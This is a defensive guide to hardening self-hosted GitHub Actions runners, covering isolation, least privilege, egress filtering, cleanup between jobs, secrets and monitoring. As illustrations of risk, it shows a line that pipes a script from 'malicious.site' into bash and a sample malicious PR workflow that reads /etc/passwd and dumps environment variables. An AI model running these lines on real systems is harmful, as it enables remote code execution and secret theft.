Self-hosted runners offer flexibility but introduce security risks you have to manage yourself. This guide covers the essential hardening measures, from the system account to the cleanup between jobs.
What you will learn
- Identify the risks specific to self-hosted runners
- Isolate the runs by level of trust and by container
- Restrict the permissions of the account, of Docker and of the network
- Clean the environment between every job
- Protect the secrets and monitor the runners
The risks of self-hosted runners
A GitHub-hosted runner is a disposable machine: GitHub creates it for a job, then destroys it. A self-hosted runner is a machine you own, connected to your network, and it survives the jobs. The three risks below all follow from that difference, and they are what the measures in this guide neutralise.
Execution of untrusted code
Any workflow can run arbitrary code on the runner: a run: block is nothing more
than a shell script launched with the rights of the runner's service account.
Anyone able to modify a file in .github/workflows/, or to get a PR modifying it
merged, therefore gains command execution on your machine.
- run: | # This code runs with the runner's rights curl http://malicious.site/script.sh | bashData persistence
Unlike GitHub-hosted runners, the environment persists between jobs: the disk, the package manager caches and the Docker images stay in place. A malicious job can therefore drop something to trap the next one, and a legitimate job can leak what it handled. Three residues come up systematically:
- files left by a previous job in the working directory;
- changes to the service account profile,
.bashrcor a binary dropped into thePATH; - cached credentials,
~/.npmrc,~/.docker/config.json, package manager tokens.
Network access
The runner has access to the network it sits on: it inherits everything its subnet allows, including services that require no authentication because they believe themselves safe behind the perimeter firewall. A runner placed on the production network becomes an entry point to everything there:
- internal databases;
- private APIs;
- other services.
The golden rule: no public runners
On a public repository, anyone can open a PR from a fork, and therefore propose a workflow file. GitHub does require an approval for a first-time contributor, but that approval is given by a human who mostly reviews the application code. The workflow below shows what an attacker gets if the approval goes through.
Never do this
Never configure a self-hosted runner on a public repository. Anyone can submit a PR and execute code on your runner.
# An attacker can submit this PR on a public repositoryname: Malicious PRon: pull_request
jobs: attack: runs-on: self-hosted # Runs on YOUR infrastructure steps: - run: | # Secret theft, crypto mining, and so on cat /etc/passwd envIsolating the runners
Isolation is the first line of defence: limiting what a job can reach limits the damage of a compromised one. Three levels reinforce it.
1. Dedicated runners per level of trust
Routing happens through labels: a job only goes to a runner carrying all the
labels it asks for. By reserving trusted runners for protected branches and
sending PRs to untrusted runners with no internal network access and no
production secrets, a hostile workflow runs on a machine with nothing worth
stealing.
# Runners for trusted code (main, releases)runs-on: [self-hosted, trusted]
# Runners for PRs (less trusted)runs-on: [self-hosted, untrusted]2. Running inside containers
The container: key runs every step of the job inside the given image,
rather than directly on the host. The job then only sees the container
filesystem, so it cannot leave residues on the host. The isolation remains that
of a shared kernel: it does not withstand a privileged container nor a
mounted Docker socket.
jobs: build: runs-on: self-hosted container: image: node:22-alpine@sha256:c610fcdfb1d5b4740dd70c284ed3cb16bb857e0f7166196e36a5501df7a3aa32 # Container isolation3. Ephemeral virtual machines
Destroy the VM after every job: it is the only isolation that genuinely removes persistence, since the disk disappears with the machine. The runner registers in ephemeral mode and removes itself from the GitHub list at the end of the job; an orchestrator provisions a new one for the next. The price is a start-up time of a few tens of seconds per job.
runs-on: [self-hosted, ephemeral]# The runner scaler destroys the VM after the runRestricting the permissions
A compromised runner must not be able to do much. You restrict on three fronts: the system account, Docker and the network.
On the machine
The runner must never run as root nor under your administration account:
every run: inherits its rights. A dedicated service account, with no password
and absent from the sudoers, limits a compromised job to its own working
directory. If a task genuinely needs a privileged command, grant it one at a time
in /etc/sudoers.d/ rather than handing over full sudo.
# Create a dedicated unprivileged usersudo useradd -m -s /bin/bash github-runnersudo usermod -L github-runner # No login
# Install the runner as that usersudo -u github-runner ./config.sh ...
# No sudo for the runner# Never add github-runner to the sudoers!Docker without root
Adding the runner account to the docker group amounts to giving it root on the
host: the daemon runs as root and a container can mount /. Rootless Docker
removes that bypass by running the daemon under the runner account. Failing that,
harden each container by dropping the capabilities and forbidding privilege
escalation.
# Use rootless Docker where possible# Or restrict with --security-opt
docker run --security-opt=no-new-privileges \ --cap-drop=ALL \ --read-only \ ...A restricted network
A runner only needs to reach GitHub over HTTPS and the registries it pulls
its dependencies from: it works outbound only, no inbound flow is required.
Filtering the rest on egress cuts both secret exfiltration and lateral access to
internal services. Test those rules before making them persistent, since an
overly broad DROP also blocks the runner updates.
# Firewall: limit the outbound connectionsiptables -A OUTPUT -o eth0 -p tcp --dport 443 -j ACCEPT # GitHubiptables -A OUTPUT -o eth0 -p tcp --dport 80 -j ACCEPT # HTTPiptables -A OUTPUT -o eth0 -j DROP # Block the restCleaning between jobs
On a persistent runner, what one job leaves behind stays available to the next. A systematic cleanup prevents leaks between jobs.
A cleanup script
The _work directory, the npm cache and the Docker images are the three places a
job leaves the most usable traces. This script empties them systematically,
without trying to tell apart what is legitimate: an unconditional cleanup is
the only one that stays reliable over time.
#!/bin/bash# cleanup.sh - run after every job
# Remove the temporary filesrm -rf /tmp/* /var/tmp/*
# Clean the runner homerm -rf /home/github-runner/.npmrm -rf /home/github-runner/.cacherm -rf /home/github-runner/work/*
# Clean Dockerdocker system prune -afdocker volume prune -fThis script does not touch the environment variables, and that is
deliberate: they do not survive a job. Every job runs in a new process, and
anything defined through $GITHUB_ENV disappears with it. A cleanup script doing
an unset would apply it to its own process, then exit having changed nothing
for the next job.
Real persistence goes through the filesystem: a job can write into the
service account's .bashrc, drop a binary into a PATH directory, or leave a
Git hook in a cloned repository. That is what needs cleaning, and that is what
the script above does.
Configuring automatic cleanup
A cleanup triggered from the workflow does not run when the job is cancelled or
the runner restarts: attaching it to the systemd service makes it independent
of workflow content. ExecStartPre cleans before picking work back up,
ExecStopPost after stopping.
# In the runner's systemd service[Service]ExecStartPre=/opt/actions-runner/cleanup.shExecStopPost=/opt/actions-runner/cleanup.shProtecting the secrets
Secrets must never live hardcoded on the runner. Here is how to route and handle them without exposing them.
Environment variables
A secret placed in the runner account's .bashrc becomes readable by every
job, including those that do not need it. Passed through the env: block of a
step, it only exists for the duration of that step and GitHub masks it in the
logs.
# ❌ Do not put secrets in the runner's scripts# ~/.bashrc holding AWS_SECRET_ACCESS_KEY is a bad idea
# ✅ Use the GitHub secrets- name: Deploy env: AWS_ACCESS_KEY_ID: ${{ secrets.AWS_ACCESS_KEY_ID }} AWS_SECRET_ACCESS_KEY: ${{ secrets.AWS_SECRET_ACCESS_KEY }} run: aws s3 sync ./dist s3://bucketSystem credentials
Credential files sitting on the machine, ~/.aws/credentials, ~/.kube/config
or a service account, are reachable by any job and never rotate. OIDC
replaces them with a token requested at job time, valid for minutes and tied to
the calling repository.
# Use short-lived tokens through OIDC# No static credentials on the runner# See /en/docs/pipeline-cicd/github/securite/oidc/Sensitive files
When a tool requires a secret as a file, a tmpfs keeps it in RAM: nothing is written to disk, and the content disappears on reboot without leaving a recoverable block.
# Mount the secrets on a read-only tmpfsmkdir -p /run/secretsmount -t tmpfs -o size=10M,mode=0700 tmpfs /run/secretsMonitoring the runners
Hardening is not enough: you also have to detect a compromise. Audit logs and system monitoring make abnormal behaviour visible.
Audit logs
The ACTIONS_RUNNER_DEBUG variable makes the runner log the detail of every
step, useful to reconstruct what a job did after the fact. Keep it for
diagnosis: those logs are verbose and expose paths and variable names you do
not want left lying around permanently.
# Enable the verbose logsenv: ACTIONS_RUNNER_DEBUG: trueSystem monitoring
The runner logs say what the workflow asked for; the system audit says what
actually ran on the machine. An auditd rule on execve records every
command launched, which lets you spot a binary downloaded on the fly or an
outbound connection matching no step.
# Watch for suspicious processesauditctl -a always,exit -F arch=b64 -S execve -k commands
# Alert on unusual outbound connections# (with a tool such as Falco, osquery, and so on)GitHub alerts
Configure webhooks to be alerted about runs on self-hosted runners. The
workflow_job event carries the labels the job asked for: you can therefore
detect a workflow targeting your runners when it should not, without waiting to
open the Actions tab.
A security checklist
These three lists gather the measures of the guide by the moment they apply: at installation, in day-to-day operation, and when making architecture decisions. The initial configuration points are the ones that are expensive to fix once the runner is in production.
Initial configuration
These five points are settled before the first job. They form the minimum baseline: a runner not ticking all of them should not receive a workflow.
- Runner on a private repository only
- A dedicated user with no sudo privileges
- A firewall configured as an allow list
- Rootless Docker, or Docker with restrictions
- Audit logs enabled
Regular operations
A runner degrades over time: the agent falls behind, registration tokens linger, new workflows arrive without anyone reviewing them. These four checks are scheduled, otherwise they never happen.
- Runner and OS updates
- Rotation of the registration tokens
- A review of the workflows that ran
- A check of the audit logs
Architecture
These four choices cannot be fixed with a setting: they determine the exposure of your fleet. This is the level where you decide a PR job will never touch the same machine as a release job.
- Runners separated by level of trust
- Ephemeral runners for PRs
- No static secrets on the runners
- OIDC for cloud authentication
A complete secure pattern
This workflow gathers the measures of the guide: a trusted runner, execution inside a hardened container, OIDC instead of static secrets, and an explicit cleanup.
name: Secure Build
on: push: branches: [main]
# No right by default: the job asks for the minimumpermissions: {}
jobs: build: runs-on: [self-hosted, linux, trusted] permissions: contents: read id-token: write # For OIDC container: image: node:22-alpine@sha256:c610fcdfb1d5b4740dd70c284ed3cb16bb857e0f7166196e36a5501df7a3aa32 options: --read-only --security-opt=no-new-privileges steps: - uses: actions/checkout@3d3c42e5aac5ba805825da76410c181273ba90b1 # v7.0.1 with: persist-credentials: false
# OIDC instead of static secrets - uses: aws-actions/configure-aws-credentials@e6de054238d6b7531b4efff3b6587d9aade6a06c # v6.2.3 with: role-to-assume: arn:aws:iam::123456789:role/github-actions aws-region: eu-west-1
- run: npm ci - run: npm test - run: npm run build
# Explicit cleanup - name: Cleanup if: always() run: rm -rf node_modules .npmKey points
- A self-hosted runner never goes on a public repository: a fork PR would run arbitrary code at your place.
- Isolate the runs: dedicated runners per level of trust, containers, ephemeral VMs.
- The runner account carries no sudo; Docker runs rootless or with reduced capabilities.
- Clean systematically between jobs, since the environment persists, unlike hosted runners.
- No static secrets on the machine: prefer OIDC and short-lived tokens.
Next steps
- Runner isolation: segmentation by labels, groups and network rules, the layer that comes after hardening the machine.
- Runner maintenance: keeping the fleet updated and monitored over time, without which the hardening described here degrades on its own.
- GitHub CLI (gh): inventorying the registered runners and their tokens from the terminal, to spot a forgotten machine.